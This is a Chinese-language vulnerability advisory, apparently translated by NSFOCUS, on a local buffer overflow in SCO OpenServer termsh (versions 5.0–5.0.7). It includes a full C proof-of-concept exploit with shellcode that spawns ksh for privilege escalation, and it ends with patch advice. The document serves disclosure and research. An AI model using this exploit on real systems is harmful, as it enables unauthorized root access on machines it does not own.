安全研究

安全漏洞
SCO OpenServer Termsh缓冲区溢出漏洞

发布日期:2006-01-03
更新日期:2006-01-03

受影响系统:
SCO Open Server 5.0.7
SCO Open Server 5.0.6a
SCO Open Server 5.0.6
SCO Open Server 5.0.5
SCO Open Server 5.0.4
SCO Open Server 5.0.3
SCO Open Server 5.0.2
SCO Open Server 5.0.1
SCO Open Server 5.0
描述:
BUGTRAQ  ID: 16122

SCO OpenServer是中小企业业务最流行的Unix服务器平台。

SCO OpenServer termsh应用中存在本地溢出漏洞。攻击者可能利用这个漏洞获得权限提升。

<*来源:RoD hEDoR (rodhedor@hotmail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=113632120212025&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x68\xff\xf8\xff\x3c\x6a\x65\x89"
                 "\xe6\xf7\x56\x04\xf6\x16\x31\xc0"
                 "\x50\x68""/ksh""\x68""/bin""\x89"
                 "\xe3\x50\x50\x53\xb0\x3b\xff\xd6";

int main(int argc,char* argv[])
{
        char* buffer;
        char* arg = "-o";
        char *env[] = {"HISTORY=/dev/null",NULL};
        long eip,ptr;
        int i;
       printf("[ SCO Openserver 5.0.7 termsh local privilege escalation
exploit\n");
       if(argc < 2)
       {
               printf("[ Error  : [path]\n[ Example: %s
/opt/K/SCO/Unix/5.0.7Hw/usr/lib/sysadm/termsh\n",argv[0]);
               exit(0);
       }
       eip = 0xa2080853;
       buffer = malloc(7449 + strlen(shellcode));
        memset(buffer,'\x00',7449 + strlen(shellcode));
       ptr = (long)buffer + strlen(shellcode);
        strncpy(buffer,shellcode,strlen(shellcode));
       for(i = 1;i <= 1862;i++)
       {
                memcpy((char*)ptr,(char*)&eip,4);
                ptr = ptr + 4;
       }
       execle(argv[1],argv[1],arg,buffer,NULL,env);
       exit(0);
}

建议:
厂商补丁:

SCO
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.caldera.com/products/openserver/

浏览次数:2985
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障